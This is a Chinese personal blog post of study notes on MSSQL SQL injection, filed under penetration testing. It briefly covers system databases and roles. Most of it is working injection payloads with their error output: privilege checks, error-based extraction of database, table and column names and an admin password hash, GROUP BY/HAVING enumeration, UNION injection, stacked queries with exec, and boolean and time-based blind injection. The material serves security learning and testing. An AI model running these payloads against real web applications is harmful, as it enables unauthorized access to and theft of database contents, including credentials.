Y4er的博客
归档 专栏 分类 标签 笔记 朋友
Y4er的博客

MSSQL 注入学习笔记

 收录于  类别 渗透测试
     约 3046 字   预计阅读 7 分钟 
警告
本文最后更新于 2019-05-17，文中内容可能已过时。

跟着404师傅学mssql注入写的笔记

1
2
3
4
5
6
7

master   //用于记录所有SQL Server系统级别的信息，这些信息用于控制用户数据库和数据操作。

model    //SQL Server为用户数据库提供的样板，新的用户数据库都以model数据库为基础

msdb     //由 Enterprise Manager和Agent使用，记录着任务计划信息、事件处理信息、数据备份及恢复信息、警告及异常信息。

tempdb   //它为临时表和其他临时工作提供了一个存储区。

其中最主要的是master数据库，其中存储了所有的数据库名等，还有很多存储过程

存储过程是一组为了完成特定功能的SQL 语句集，它存储在数据库中，一次编译后永久有效，用户通过指定存储过程的名字并给出参数（如果该存储过程带有参数）来执行它。实际上就是一个封装好的函数，具有面向对象特点。

https://y4er.com/img/uploads/20190517130435.png

在master数据库中有master.dbo.sysdatabases视图，储存所有数据库名,其他数据库的视图则储存他本库的表名与列名。 每一个库的视图表都有syscolumns存储着所有的字段，可编程性储存着我们的函数。

mssql的存储过程天然支持多语句，为我们的注入提供了遍历。

增删改查和MySQL数据库大同小异，具体可以自行w3c。

先来了解下mssql中有哪些角色/权限

以下摘自官网文档

服务器级的固定角色描述
sysadminsysadmin 固定服务器角色的成员可以在服务器上执行任何活动。
serveradminserveradmin 固定服务器角色的成员可以更改服务器范围的配置选项和关闭服务器。
securityadminsecurityadmin 固定服务器角色的成员可以管理登录名及其属性。 他们可以 GRANT、DENY 和 REVOKE 服务器级权限。 他们还可以 GRANT、DENY 和 REVOKE 数据库级权限（如果他们具有数据库的访问权限）。 此外，他们还可以重置 SQL Server 登录名的密码。 重要说明： 如果能够授予对 数据库引擎 的访问权限和配置用户权限，安全管理员可以分配大多数服务器权限。 securityadmin 角色应视为与 sysadmin 角色等效。
processadminprocessadmin 固定服务器角色的成员可以终止在 SQL Server 实例中运行的进程。
setupadminsetupadmin 固定服务器角色的成员可以使用 Transact-SQL 语句添加和删除链接服务器。 （使用 Management Studio 时需要 sysadmin 成员资格。）
bulkadminbulkadmin 固定服务器角色的成员可以运行 BULK INSERT 语句。
diskadmindiskadmin 固定服务器角色用于管理磁盘文件。
dbcreatordbeator 固务器角色的成员可以创建、更改、删除和还原任何数据库。
puic每个 SQL Server 登录名都属于 public 服务器角色。 如果未向某个服务器主体授予或拒绝对某个安全对象的特定权限，该用户将继承授予该对象的 public 角色的权限。 只有在希望所有用户都能使用对象时，才在对象上分配 Public 权限。 你无法更改具有 Public 角色的成员身份。 注意plic 与其他角色的实现方式不同，可通过 public 固定服务器角色授予、拒绝或调用权限。
固定数据库角色名描述
db_ownerdb_owner 固定数据库角色的成员可以执行数据库的所有配置和维护活动，还可以删除 SQL Server中的数据库。 （在 SQL 数据库 和 SQL 数据仓库中，某些维护活动需要服务器级别权限，并且不能由 db_owners执行。）
db_securityadmindb_securityadmin 固定数据库角色的成员可以仅修改自定义角色的角色成员资格、创建无登录名的用户和管理权限。 向此角色中添加主体可能会导致意外的权限升级。
db_accessadmindb_accessadmin 固定数据库角色的成员可以为 Windows 登录名、Windows 组和 SQL Server 登录名添加或删除数据库访问权限。
db_backupoperatordb_backupoperator 固定数据库角色的成员可以备份数据库。
db_ddladmindb_ddladmin 固定数据库角色的成员可以在数据库中运行任何数据定义语言 (DDL) 命令。
db_datawriterdb_datawriter 固定数据库角色的成员可以在所有用户表中添加、删除或更改数据。
db_datareaderdb_datareader 固定数据库角色的成员可以从所有用户表中读取所有数据。
db_denydatawriterdb_denydatawriter 固定数据库角色的成员不能添加、修改或删除数据库内用户表中的任何数据。
db_denydatareaderdb_denydatareader 固定数据库角色的成员不能读取数据库内用户表中的任何数据。

我们可以用IS_SRVROLEMEMBER来判断服务器级别的固定角色

返回值描述
0login 不是 role 的成员。
1login 是 role 的成员。
NULLrole 或 login 无效，或者没有查看角色成员身份的权限。

构造语句

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

and 1=(select is_srvrolemember('sysadmin'))

and 1=(select is_srvrolemember('serveradmin'))

and 1=(select is_srvrolemember('setupadmin'))

and 1=(select is_srvrolemember('securityadmin'))

and 1=(select is_srvrolemember('diskadmin'))

and 1=(select is_srvrolemember('bulkadmin'))

数据库级别的应用角色用IS_MEMBER函数判断

1

SELECT IS_MEMBER('db_owner')

再来看一些基本信息

1
2
3
4

SELECT @@version; //版本
SELECT user;		//用户
SELECT DB_NAME();	//当前数据库名，你可以用db_name(n)来遍历出所有的数据库
SELECT @@servername;	//主机名

那么站库分离可以这么来判断

1

select * from user where id='1'and host_name()=@@servername;--'

注释符

1
2
3

/* 
--
;%00

空白符号

1
2
3

01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20	--暂时不了解为什么

/**/

运算

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

--基本的不列举了，举几个特殊的
ALL 如果一组的比较都为true，则比较结果为true
AND 如果两个布尔表达式都为true，则结果为true；如果其中一个表达式为false，则结果为false
ANY 如果一组的比较中任何一个为true，则结果为true
BETWEEN 如果操作数在某个范围之内，那么结果为true
EXISTS  如果子查询中包含了一些行，那么结果为true
IN  如果操作数等于表达式列表中的一个，那么结果为true
LIKE    如果操作数与某种模式相匹配，那么结果为true
NOT 对任何其他布尔运算符的结果值取反
OR  如果两个布尔表达式中的任何一个为true，那么结果为true
SOME    如果在一组比较中，有些比较为true，那么结果为true

此处利用mssql数据类型不一样比较报错，爆出当前数据库名

1

SELECT * FROM Fanmv_Admin WHERE AdminID=1 and DB_NAME()>1;

1

在将 nvarchar 值 'FanmvCMS' 转换成数据类型 int 时失败。

爆表名

1

SELECT * FROM Fanmv_Admin WHERE AdminID=1 and 1=(SELECT TOP 1 name from sysobjects WHERE xtype='u');

1

在将 nvarchar 值 'Fanmv_Admin' 转换成数据类型 int 时失败。

此处xtype可以是下列对象类型中的一种：

缩写全称
CCHECK 约束
D默认值或 DEFAULT 约束
FFOREIGN KEY 约束
L日志
FN标量函数
IF内嵌表函数
P存储过程
PKPRIMARY KEY 约束（类型是 K）
RF复制筛选存储过程
S系统表
TF表函数
TR触发器
U用户表
UQUNIQUE 约束（类型是 K）
V视图
X扩展存储过程

此处的sysobjects等同于 [master].[sys].[objects]

爆列名

1

SELECT * FROM Fanmv_Admin WHERE AdminID=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'Fanmv_Admin'));

1
2

在将 nvarchar 值 'AdminID' 转换成数据类型 int 时失败。
> [22018] [Microsoft][SQL Server Native Client 10.0][SQL Server]在将 nvarchar 值 'AdminID' 转换成数据类型 int 时失败。 (245)

爆数据

1

SELECT * FROM Fanmv_Admin WHERE AdminID=1 and 1=(SELECT TOP 1 AdminPass from Fanmv_Admin);

1

在将 varchar 值 '81FAAEN52MA16VBYT4Y1JJ3552BTC1640E7CF84345C86BA6' 转换成数据类型 int 时失败。

当然，在mssql中也存在INFORMATION_SCHEMA，你也可以通过它来查询。

1
2
3

select * from INFORMATION_SCHEMA.TABLES
select * from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='admin'
and 1=(select top 1 table_name from information_schema.tables);--

判断表名更方便的一种方式是使用having 1=1，GROUP BY

1

SELECT * FROM Fanmv_Admin WHERE AdminID=1 having 1=1

1

选择列表中的列 'Fanmv_Admin.AdminID' 无效，因为该列没有包含在聚合函数或 GROUP BY 子句中。

爆出一列，将其用group by 拼接进去继续往后爆其他的

1

SELECT * FROM Fanmv_Admin WHERE AdminID=1 GROUP BY AdminID having 1=1

1

选择列表中的列 'Fanmv_Admin.IsSystem' 无效，因为该列没有包含在聚合函数或 GROUP BY 子句中。

1

SELECT * FROM Fanmv_Admin WHERE AdminID=1 GROUP BY AdminID,IsSystem having 1=1

1

选择列表中的列 'Fanmv_Admin.AdminName' 无效，因为该列没有包含在聚合函数或 GROUP BY 子句中。

以此爆出所有字段

其实基本注入流程中用到的就是报错注入，mssql中没有报错函数，报错注入利用的就是显式或隐式的类型转换来报错

先来看隐式报错

1

select * from admin where id =1 and (select user)>0

user和0进行比较时就会报错

再来看显示报错，一般上显示报错用到的是cast和convert函数

1
2

select * from admin where id =1 (select CAST(USER as int))
select * from admin where id =1 (select convert(int,user))

这里再来引入一个declare

1

select * from admin where id =1;declare @a varchar(2000) set @a='select convert(int,user)' exec(@a);

declare定义变量 set赋值exec执行

mssql不用数字占位，因为可能会发生隐式转换，我们用null来占位

1

SELECT * from users where id=1 union select null,null,DB_NAME();

你也可以这样来联合报错

1

SELECT * from users where id=1 union select null,null, (select CAST(db_name() as int))

1

SELECT * from users where id=1 and ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1))=109

布尔盲注没有mssql那么多姿势，大同小异截取字符串比较

1

SELECT * from users where id=1;if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'

waitfor delay '0:0:5'是mssql的延时语法

同样可以用字符串截取来延时注入

1

select * from users where id=1;if (ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)))>1 WAITFOR DELAY '0:0:5'

下一篇写拿shell和提权的。再次感谢404师傅。

更新于 2019-05-17
 mssql, sql
返回 | 主页